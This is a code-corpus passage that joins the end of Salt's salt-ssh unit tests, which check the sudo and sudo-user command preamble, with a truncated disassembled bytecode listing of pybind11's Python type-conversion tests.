ssh.Single(opts, argv, id_, host, sudo=False) cmd = single._cmd_str() expected = dedent( """ SUDO="" if [ -n "" ] then SUDO=" " fi SUDO_USER="" if [ "$SUDO" ] && [ "$SUDO_USER" ] then SUDO="$SUDO -u $SUDO_USER" fi """ ) assert expected in cmd @pytest.mark.slow_test @pytest.mark.skip_on_windows(reason="Windows does not support salt-ssh") @pytest.mark.skip_if_binaries_missing("ssh", check_all=True) def test_ssh_single__cmd_str_sudo(opts): argv = [] id_ = "minion" host = "minion" single = ssh.Single(opts, argv, id_, host, sudo=True) cmd = single._cmd_str() expected = dedent( """ SUDO="" if [ -n "sudo" ] then SUDO="sudo " fi SUDO_USER="" if [ "$SUDO" ] && [ "$SUDO_USER" ] then SUDO="$SUDO -u $SUDO_USER" fi """ ) assert expected in cmd @pytest.mark.slow_test @pytest.mark.skip_on_windows(reason="Windows does not support salt-ssh") @pytest.mark.skip_if_binaries_missing("ssh", check_all=True) def test_ssh_single__cmd_str_sudo_user(opts): argv = [] id_ = "minion" host = "minion" user = "wayne" single = ssh.Single(opts, argv, id_, host, sudo=True, sudo_user=user) cmd = single._cmd_str() expected = dedent( """ SUDO="" if [ -n "sudo" ] then SUDO="sudo " fi SUDO_USER="wayne" if [ "$SUDO" ] && [ "$SUDO_USER" ] then SUDO="$SUDO -u $SUDO_USER" fi """ ) assert expected in cmd @pytest.mark.slow_test @pytest.mark.skip_on_windows(reason="Windows does not support salt-ssh") @pytest.mark.skip_if_binaries_missing("ssh", check_all=True) def test_ssh_single__cmd_str_sudo_passwd(opts): argv = [] id_ = "minion" host = "minion" passwd = "salty" single = ssh.Single(opts, argv, id_, host, sudo=True, passwd=passwd) cmd = single._cmd_str() expected = dedent( """ SUDO="" if [ -n "sudo -p '[salt:sudo:d11bd4221135c33324a6bdc09674146fbfdf519989847491e34a689369bbce23]passwd:'" ] then SUDO="sudo -p '[salt:sudo:d11bd4221135c33324a6bdc09674146fbfdf519989847491e34a689369bbce23]passwd:' " fi SUDO_USER="" if [ "$SUDO" ] && [ "$SUDO_USER" ] then SUDO="$SUDO -u $SUDO_USER" fi """ ) assert expected in cmd @pytest.mark.slow_test @pytest.mark.skip_on_windows(reason="Windows does not support salt-ssh") @pytest.mark.skip_if_binaries_missing("ssh", check_all=True) def test_ssh_single__cmd_str_sudo_passwd_user(opts): argv = [] id_ = "minion" host = "minion" user = "wayne" passwd = "salty" single = ssh.Single(opts, argv, id_, host, sudo=True, passwd=passwd, sudo_user=user) cmd = single._cmd_str() expected = dedent( """ SUDO="" if [ -n "sudo -p '[salt:sudo:d11bd4221135c33324a6bdc09674146fbfdf519989847491e34a689369bbce23]passwd:'" ] then SUDO="sudo -p '[salt:sudo:d11bd4221135c33324a6bdc09674146fbfdf519989847491e34a689369bbce23]passwd:' " fi SUDO_USER="wayne" if [ "$SUDO" ] && [ "$SUDO_USER" ] then SUDO="$SUDO -u $SUDO_USER" fi """ ) assert expected in cmd
data/salt-3006.6/tests/pytests/unit/client/ssh/test_single.py
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9,016
96,066
LOAD_CONST 0 LOAD_CONST None IMPORT_NAME contextlib STORE_NAME contextlib LOAD_CONST 0 LOAD_CONST None IMPORT_NAME sys STORE_NAME sys LOAD_CONST 0 LOAD_CONST None IMPORT_NAME types STORE_NAME types LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pytest STORE_NAME pytest LOAD_CONST 0 LOAD_CONST None IMPORT_NAME env STORE_NAME env LOAD_CONST 0 LOAD_CONST ('detailed_error_messages_enabled',) IMPORT_NAME pybind11_tests IMPORT_FROM detailed_error_messages_enabled STORE_NAME detailed_error_messages_enabled POP_TOP LOAD_CONST 0 LOAD_CONST ('pytypes',) IMPORT_NAME pybind11_tests IMPORT_FROM pytypes STORE_NAME m POP_TOP LOAD_CONST <code object test_obj_class_name at 0x7fab703f01e0, file "f.py", line 12> LOAD_CONST 'test_obj_class_name' MAKE_FUNCTION STORE_NAME test_obj_class_name LOAD_CONST <code object test_handle_from_move_only_type_with_operator_PyObject at 0x7fab703f0a50, file "f.py", line 18> LOAD_CONST 'test_handle_from_move_only_type_with_operator_PyObject' MAKE_FUNCTION STORE_NAME test_handle_from_move_only_type_with_operator_PyObject LOAD_CONST <code object test_bool at 0x7fab703f0810, file "f.py", line 23> LOAD_CONST 'test_bool' MAKE_FUNCTION STORE_NAME test_bool LOAD_CONST <code object test_int at 0x7fab703f0270, file "f.py", line 27> LOAD_CONST 'test_int' MAKE_FUNCTION STORE_NAME test_int LOAD_CONST <code object test_iterator at 0x7fab703f0db0, file "f.py", line 31> LOAD_CONST 'test_iterator' MAKE_FUNCTION STORE_NAME test_iterator LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST ('pytype', 'from_iter_func') LOAD_NAME frozenset LOAD_NAME m LOAD_ATTR get_frozenset_from_iterable BUILD_TUPLE LOAD_NAME list LOAD_NAME m LOAD_ATTR get_list_from_iterable BUILD_TUPLE LOAD_NAME set LOAD_NAME m LOAD_ATTR get_set_from_iterable BUILD_TUPLE LOAD_NAME tuple LOAD_NAME m LOAD_ATTR get_tuple_from_iterable BUILD_TUPLE BUILD_LIST CALL_METHOD LOAD_CONST <code object test_from_iterable at 0x7fab703f05d0, file "f.py", line 35> LOAD_CONST 'test_from_iterable' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_from_iterable LOAD_CONST <code object test_iterable at 0x7fab703f0d20, file "f.py", line 51> LOAD_CONST 'test_iterable' MAKE_FUNCTION STORE_NAME test_iterable LOAD_CONST <code object test_float at 0x7fab703f0660, file "f.py", line 55> LOAD_CONST 'test_float' MAKE_FUNCTION STORE_NAME test_float LOAD_CONST <code object test_list at 0x7fab703f00c0, file "f.py", line 59> LOAD_CONST 'test_list' MAKE_FUNCTION STORE_NAME test_list LOAD_CONST <code object test_none at 0x7fab703f0390, file "f.py", line 90> LOAD_CONST 'test_none' MAKE_FUNCTION STORE_NAME test_none LOAD_CONST <code object test_set at 0x7fab703f0780, file "f.py", line 95> LOAD_CONST 'test_set' MAKE_FUNCTION STORE_NAME test_set LOAD_CONST <code object test_frozenset at 0x7fab8212bc90, file "f.py", line 127> LOAD_CONST 'test_frozenset' MAKE_FUNCTION STORE_NAME test_frozenset LOAD_CONST <code object test_dict at 0x7fab8212b150, file "f.py", line 152> LOAD_CONST 'test_dict' MAKE_FUNCTION STORE_NAME test_dict LOAD_BUILD_CLASS LOAD_CONST <code object CustomContains at 0x7fab8212b660, file "f.py", line 177> LOAD_CONST 'CustomContains' MAKE_FUNCTION LOAD_CONST 'CustomContains' CALL_FUNCTION STORE_NAME CustomContains LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST ('arg', 'func') LOAD_NAME set CALL_FUNCTION LOAD_NAME m LOAD_ATTR anyset_contains BUILD_TUPLE BUILD_MAP LOAD_NAME m LOAD_ATTR dict_contains BUILD_TUPLE LOAD_NAME CustomContains CALL_FUNCTION LOAD_NAME m LOAD_ATTR obj_contains BUILD_TUPLE BUILD_LIST CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR xfail LOAD_CONST 'env.PYPY and sys.pypy_version_info < (7, 3, 10)' LOAD_CONST False LOAD_CONST ('strict',) CALL_FUNCTION LOAD_CONST <code object test_unhashable_exceptions at 0x7fab8212bf60, file "f.py", line 184> LOAD_CONST 'test_unhashable_exceptions' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_unhashable_exceptions LOAD_CONST <code object test_tuple at 0x7fab8212b0c0, file "f.py", line 202> LOAD_CONST 'test_tuple' MAKE_FUNCTION STORE_NAME test_tuple LOAD_CONST <code object test_simple_namespace at 0x7fab8212bdb0, file "f.py", line 209> LOAD_CONST 'test_simple_namespace' MAKE_FUNCTION STORE_NAME test_simple_namespace LOAD_CONST <code object test_str at 0x7fab800c70c0, file "f.py", line 217> LOAD_CONST 'test_str' MAKE_FUNCTION STORE_NAME test_str LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'func' LOAD_NAME m LOAD_ATTR str_from_bytes_input LOAD_NAME m LOAD_ATTR str_from_cstr_input LOAD_NAME m LOAD_ATTR str_from_std_string_input BUILD_LIST CALL_METHOD LOAD_CONST <code object test_surrogate_pairs_unicode_error at 0x7fab800c7390, file "f.py", line 253> LOAD_CONST 'test_surrogate_pairs_unicode_error' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_surrogate_pairs_unicode_error LOAD_CONST <code object test_bytes at 0x7fab800c7ae0, file "f.py", line 267> LOAD_CONST 'test_bytes' MAKE_FUNCTION STORE_NAME test_bytes LOAD_CONST <code object test_bytearray at 0x7fab800c71e0, file "f.py", line 276> LOAD_CONST 'test_bytearray' MAKE_FUNCTION STORE_NAME test_bytearray LOAD_CONST <code object test_capsule at 0x7fab800c7030, file "f.py", line 283> LOAD_CONST 'test_capsule' MAKE_FUNCTION STORE_NAME test_capsule LOAD_CONST <code object test_accessors at 0x7fab800c7150, file "f.py", line 372> LOAD_CONST 'test_accessors' MAKE_FUNCTION STORE_NAME test_accessors LOAD_CONST <code object test_accessor_moves at 0x7fab800c7e40, file "f.py", line 411> LOAD_CONST 'test_accessor_moves' MAKE_FUNCTION STORE_NAME test_accessor_moves LOAD_CONST <code object test_constructors at 0x7fab800c7db0, file "f.py", line 419> LOAD_CONST 'test_constructors' MAKE_FUNCTION STORE_NAME test_constructors LOAD_CONST <code object test_non_converting_constructors at 0x7fab800c7c00, file "f.py", line 454> LOAD_CONST 'test_non_converting_constructors' MAKE_FUNCTION STORE_NAME test_non_converting_constructors LOAD_CONST <code object test_pybind11_str_raw_str at 0x7fab823a4030, file "f.py", line 471> LOAD_CONST 'test_pybind11_str_raw_str' MAKE_FUNCTION STORE_NAME test_pybind11_str_raw_str LOAD_CONST <code object test_implicit_casting at 0x7fab823a40c0, file "f.py", line 508> LOAD_CONST 'test_implicit_casting' MAKE_FUNCTION STORE_NAME test_implicit_casting LOAD_CONST <code object test_print at 0x7fab823a41e0, file "f.py", line 528> LOAD_CONST 'test_print' MAKE_FUNCTION STORE_NAME test_print LOAD_CONST <code object test_hash at 0x7fab823a44b0, file "f.py", line 553> LOAD_CONST 'test_hash' MAKE_FUNCTION STORE_NAME test_hash LOAD_CONST <code object test_number_protocol at 0x7fab823a4540, file "f.py", line 569> LOAD_CONST 'test_number_protocol' MAKE_FUNCTION STORE_NAME test_number_protocol LOAD_CONST <code object test_list_slicing at 0x7fab823a45d0, file "f.py", line 591> LOAD_CONST 'test_list_slicing' MAKE_FUNCTION STORE_NAME test_list_slicing LOAD_CONST <code object test_issue2361 at 0x7fab823a4660, file "f.py", line 596> LOAD_CONST 'test_issue2361' MAKE_FUNCTION STORE_NAME test_issue2361 LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST ('method', 'args', 'fmt', 'expected_view') LOAD_NAME m LOAD_ATTR test_memoryview_object LOAD_CONST (b'red',) LOAD_CONST 'B' LOAD_CONST b'red' BUILD_TUPLE LOAD_NAME m LOAD_ATTR test_memoryview_buffer_info LOAD_CONST (b'green',) LOAD_CONST 'B' LOAD_CONST b'green' BUILD_TUPLE LOAD_NAME m LOAD_ATTR test_memoryview_from_buffer LOAD_CONST (False,) LOAD_CONST 'h' LOAD_CONST 3 LOAD_CONST 1 LOAD_CONST 4 LOAD_CONST 1 LOAD_CONST 5 BUILD_LIST BUILD_TUPLE LOAD_NAME m LOAD_ATTR test_memoryview_from_buffer LOAD_CONST (True,) LOAD_CONST 'H' LOAD_CONST 2 LOAD_CONST 7 LOAD_CONST 1 LOAD_CONST 8 BUILD_LIST BUILD_TUPLE LOAD_NAME m LOAD_ATTR test_memoryview_from_buffer_nativeformat LOAD_CONST () LOAD_CONST '@i' LOAD_CONST 4 LOAD_CONST 7 LOAD_CONST 5 BUILD_LIST BUILD_TUPLE BUILD_LIST CALL_METHOD LOAD_CONST <code object test_memoryview at 0x7fab823a46f0, file "f.py", line 604> LOAD_CONST 'test_memoryview' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_memoryview LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR xfail LOAD_CONST 'env.PYPY' LOAD_CONST 'getrefcount is not available' LOAD_CONST ('reason',) CALL_FUNCTION LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'method' LOAD_NAME m LOAD_ATTR test_memoryview_object LOAD_NAME m LOAD_ATTR test_memoryview_buffer_info BUILD_LIST CALL_METHOD LOAD_CONST <code object test_memoryview_refcount at 0x7fab823a4780, file "f.py", line 621> LOAD_CONST 'test_memoryview_refcount' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_memoryview_refcount LOAD_CONST <code object test_memoryview_from_buffer_empty_shape at 0x7fab823a4810, file "f.py", line 638> LOAD_CONST 'test_memoryview_from_buffer_empty_shape' MAKE_FUNCTION STORE_NAME test_memoryview_from_buffer_empty_shape LOAD_CONST <code object test_test_memoryview_from_buffer_invalid_strides at 0x7fab823a48a0, file "f.py", line 645> LOAD_CONST 'test_test_memoryview_from_buffer_invalid_strides' MAKE_FUNCTION STORE_NAME test_test_memoryview_from_buffer_invalid_strides LOAD_CONST <code object test_test_memoryview_from_buffer_nullptr at 0x7fab823a4930, file "f.py", line 650> LOAD_CONST 'test_test_memoryview_from_buffer_nullptr' MAKE_FUNCTION STORE_NAME test_test_memoryview_from_buffer_nullptr LOAD_CONST <code object test_memoryview_from_memory at 0x7fab823a49c0, file "f.py", line 655> LOAD_CONST 'test_memoryview_from_memory' MAKE_FUNCTION STORE_NAME test_memoryview_from_memory LOAD_CONST <code object test_builtin_functions at 0x7fab823a4b70, file "f.py", line 662> LOAD_CONST 'test_builtin_functions' MAKE_FUNCTION STORE_NAME test_builtin_functions LOAD_CONST <code object test_isinstance_string_types at 0x7fab823a4c00, file "f.py", line 672> LOAD_CONST 'test_isinstance_string_types' MAKE_FUNCTION STORE_NAME test_isinstance_string_types LOAD_CONST <code object test_pass_bytes_or_unicode_to_string_types at 0x7fab823a4d20, file "f.py", line 683> LOAD_CONST 'test_pass_bytes_or_unicode_to_string_types' MAKE_FUNCTION STORE_NAME test_pass_bytes_or_unicode_to_string_types LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST ('create_weakref', 'create_weakref_with_callback') LOAD_NAME m LOAD_ATTR weakref_from_handle LOAD_NAME m LOAD_ATTR weakref_from_handle_and_function BUILD_TUPLE LOAD_NAME m LOAD_ATTR weakref_from_object LOAD_NAME m LOAD_ATTR weakref_from_object_and_function BUILD_TUPLE BUILD_LIST CALL_METHOD LOAD_CONST <code object test_weakref at 0x7fab823a4e40, file "f.py", line 706> LOAD_CONST 'test_weakref' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_weakref LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST ('create_weakref', 'has_callback') LOAD_NAME m LOAD_ATTR weakref_from_handle LOAD_CONST False BUILD_TUPLE LOAD_NAME m LOAD_ATTR weakref_from_object LOAD_CONST False BUILD_TUPLE LOAD_NAME m LOAD_ATTR weakref_from_handle_and_function LOAD_CONST True BUILD_TUPLE LOAD_NAME m LOAD_ATTR weakref_from_object_and_function LOAD_CONST True BUILD_TUPLE BUILD_LIST CALL_METHOD LOAD_CONST <code object test_weakref_err at 0x7fab7037b030, file "f.py", line 740> LOAD_CONST 'test_weakref_err' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_weakref_err LOAD_CONST <code object test_cpp_iterators at 0x7fab7037b0c0, file "f.py", line 761> LOAD_CONST 'test_cpp_iterators' MAKE_FUNCTION STORE_NAME test_cpp_iterators LOAD_CONST <code object test_implementation_details at 0x7fab7037b1e0, file "f.py", line 767> LOAD_CONST 'test_implementation_details' MAKE_FUNCTION STORE_NAME test_implementation_details LOAD_CONST <code object test_external_float_ at 0x7fab7037b150, file "f.py", line 788> LOAD_CONST 'test_external_float_' MAKE_FUNCTION STORE_NAME test_external_float_ LOAD_CONST <code object test_tuple_rvalue_getter at 0x7fab7037b270, file "f.py", line 793> LOAD_CONST 'test_tuple_rvalue_getter' MAKE_FUNCTION STORE_NAME test_tuple_rvalue_getter LOAD_CONST <code object test_list_rvalue_getter at 0x7fab7037b300, file "f.py", line 799> LOAD_CONST 'test_list_rvalue_getter' MAKE_FUNCTION STORE_NAME test_list_rvalue_getter LOAD_CONST <code object test_populate_dict_rvalue at 0x7fab7037b420, file "f.py", line 805> LOAD_CONST 'test_populate_dict_rvalue' MAKE_FUNCTION STORE_NAME test_populate_dict_rvalue LOAD_CONST <code object test_populate_obj_str_attrs at 0x7fab7037b780, file "f.py", line 811> LOAD_CONST 'test_populate_obj_str_attrs' MAKE_FUNCTION STORE_NAME test_populate_obj_str_attrs LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST ('a', 'b') LOAD_CONST ('foo', 'bar') LOAD_CONST (1, 2) LOAD_CONST (1.0, 2.0) LOAD_NAME list LOAD_NAME range LOAD_CONST 3 CALL_FUNCTION CALL_FUNCTION LOAD_NAME list LOAD_NAME range LOAD_CONST 3 LOAD_CONST 6 CALL_FUNCTION CALL_FUNCTION BUILD_TUPLE BUILD_LIST CALL_METHOD LOAD_CONST <code object test_inplace_append at 0x7fab7037b810, file "f.py", line 820> LOAD_CONST 'test_inplace_append' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_inplace_append LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST ('a', 'b') LOAD_CONST (3, 2) LOAD_CONST (3.0, 2.0) LOAD_NAME set LOAD_NAME range LOAD_CONST 3 CALL_FUNCTION CALL_FUNCTION LOAD_NAME set LOAD_NAME range LOAD_CONST 2 CALL_FUNCTION CALL_FUNCTION BUILD_TUPLE BUILD_LIST CALL_METHOD LOAD_CONST <code object test_inplace_subtract at 0x7fab7037b8a0, file "f.py", line 829> LOAD_CONST 'test_inplace_subtract' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_inplace_subtract LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST ('a', 'b') LOAD_CONST (3, 2) LOAD_CONST (3.0, 2.0) LOAD_CONST 1 BUILD_LIST LOAD_CONST 3 BUILD_TUPLE BUILD_LIST CALL_METHOD LOAD_CONST <code object test_inplace_multiply at 0x7fab7037b930, file "f.py", line 837> LOAD_CONST 'test_inplace_multiply' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_inplace_multiply LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST ('a', 'b') LOAD_CONST (6, 3) LOAD_CONST (6.0, 3.0) BUILD_LIST CALL_METHOD LOAD_CONST <code object test_inplace_divide at 0x7fab7037b9c0, file "f.py", line 843> LOAD_CONST 'test_inplace_divide' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_inplace_divide LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST ('a', 'b') LOAD_CONST (False, True) LOAD_NAME set CALL_FUNCTION LOAD_CONST 1 BUILD_SET BUILD_TUPLE BUILD_LIST CALL_METHOD LOAD_CONST <code object test_inplace_or at 0x7fab7037ba50, file "f.py", line 849> LOAD_CONST 'test_inplace_or' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_inplace_or LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST ('a', 'b') LOAD_CONST (True, False) LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_SET LOAD_CONST 1 BUILD_SET BUILD_TUPLE BUILD_LIST CALL_METHOD LOAD_CONST <code object test_inplace_and at 0x7fab7037bae0, file "f.py", line 866> LOAD_CONST 'test_inplace_and' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_inplace_and LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST ('a', 'b') LOAD_CONST (8, 1) LOAD_CONST (-3, 2) BUILD_LIST CALL_METHOD LOAD_CONST <code object test_inplace_lshift at 0x7fab7037bb70, file "f.py", line 883> LOAD_CONST 'test_inplace_lshift' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_inplace_lshift LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST ('a', 'b') LOAD_CONST (8, 1) LOAD_CONST (-2, 2) BUILD_LIST CALL_METHOD LOAD_CONST <code object test_inplace_rshift at 0x7fab7037bc00, file "f.py", line 889> LOAD_CONST 'test_inplace_rshift' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_inplace_rshift LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD obj_class_name LOAD_CONST None CALL_METHOD LOAD_CONST 'NoneType' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD obj_class_name LOAD_GLOBAL list CALL_METHOD LOAD_CONST 'list' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD obj_class_name BUILD_LIST CALL_METHOD LOAD_CONST 'list' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD handle_from_move_only_type_with_operator_PyObject_ncnst CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD handle_from_move_only_type_with_operator_PyObject_const CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST doc LOAD_GLOBAL m LOAD_ATTR get_bool CALL_FUNCTION LOAD_CONST 'get_bool() -> bool' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST doc LOAD_GLOBAL m LOAD_ATTR get_int CALL_FUNCTION LOAD_CONST 'get_int() -> int' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST doc LOAD_GLOBAL m LOAD_ATTR get_iterator CALL_FUNCTION LOAD_CONST 'get_iterator() -> Iterator' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL iter LOAD_GLOBAL range LOAD_CONST 10 CALL_FUNCTION CALL_FUNCTION STORE_FAST my_iter LOAD_FAST from_iter_func LOAD_FAST my_iter CALL_FUNCTION STORE_FAST s LOAD_GLOBAL type LOAD_FAST s CALL_FUNCTION LOAD_FAST pytype COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST s LOAD_FAST pytype LOAD_GLOBAL range LOAD_CONST 10 CALL_FUNCTION CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST doc LOAD_GLOBAL m LOAD_ATTR get_iterable CALL_FUNCTION LOAD_CONST 'get_iterable() -> Iterable' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST doc LOAD_GLOBAL m LOAD_ATTR get_float CALL_FUNCTION LOAD_CONST 'get_float() -> float' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD list_no_args CALL_METHOD BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD list_ssize_t CALL_METHOD BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD list_size_t CALL_METHOD BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 1 LOAD_CONST 2 BUILD_LIST STORE_FAST lins LOAD_GLOBAL m LOAD_METHOD list_insert_ssize_t LOAD_FAST lins CALL_METHOD POP_TOP LOAD_FAST lins LOAD_CONST 1 LOAD_CONST 83 LOAD_CONST 2 BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD list_insert_size_t LOAD_FAST lins CALL_METHOD POP_TOP LOAD_FAST lins LOAD_CONST 1 LOAD_CONST 83 LOAD_CONST 2 LOAD_CONST 57 BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST capture SETUP_WITH to 170 POP_TOP LOAD_GLOBAL m LOAD_METHOD get_list CALL_METHOD STORE_FAST lst LOAD_FAST lst LOAD_CONST 'inserted-0' LOAD_CONST 'overwritten' LOAD_CONST 'inserted-2' BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST lst LOAD_METHOD append LOAD_CONST 'value2' CALL_METHOD POP_TOP LOAD_GLOBAL m LOAD_METHOD print_list LOAD_FAST lst CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST capture LOAD_ATTR unordered LOAD_CONST '\n Entry at position 0: value\n list item 0: inserted-0\n list item 1: overwritten\n list item 2: inserted-2\n list item 3: value2\n ' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST doc LOAD_GLOBAL m LOAD_ATTR get_list CALL_FUNCTION LOAD_CONST 'get_list() -> list' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST doc LOAD_GLOBAL m LOAD_ATTR print_list CALL_FUNCTION LOAD_CONST 'print_list(arg0: list) -> None' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST doc LOAD_GLOBAL m LOAD_ATTR get_none CALL_FUNCTION LOAD_CONST 'get_none() -> None' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST doc LOAD_GLOBAL m LOAD_ATTR print_none CALL_FUNCTION LOAD_CONST 'print_none(arg0: None) -> None' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD get_set CALL_METHOD STORE_FAST s LOAD_GLOBAL isinstance LOAD_FAST s LOAD_GLOBAL set CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST s LOAD_CONST 'key1' LOAD_CONST 'key2' LOAD_CONST 'key3' BUILD_SET COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST s LOAD_METHOD add LOAD_CONST 'key4' CALL_METHOD POP_TOP LOAD_FAST capture SETUP_WITH to 70 POP_TOP LOAD_GLOBAL m LOAD_METHOD print_anyset LOAD_FAST s CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST capture LOAD_ATTR unordered LOAD_CONST '\n key: key1\n key: key2\n key: key3\n key: key4\n ' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD set_add LOAD_FAST s LOAD_CONST 'key5' CALL_METHOD POP_TOP LOAD_GLOBAL m LOAD_METHOD anyset_size LOAD_FAST s CALL_METHOD LOAD_CONST 5 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD set_clear LOAD_FAST s CALL_METHOD POP_TOP LOAD_GLOBAL m LOAD_METHOD anyset_empty LOAD_FAST s CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD anyset_contains LOAD_GLOBAL set CALL_FUNCTION LOAD_CONST 42 CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD anyset_contains LOAD_CONST 42 BUILD_SET LOAD_CONST 42 CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD anyset_contains LOAD_CONST 'foo' BUILD_SET LOAD_CONST 'foo' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST doc LOAD_GLOBAL m LOAD_ATTR get_set CALL_FUNCTION LOAD_CONST 'get_set() -> set' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST doc LOAD_GLOBAL m LOAD_ATTR print_anyset CALL_FUNCTION LOAD_CONST 'print_anyset(arg0: anyset) -> None' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m 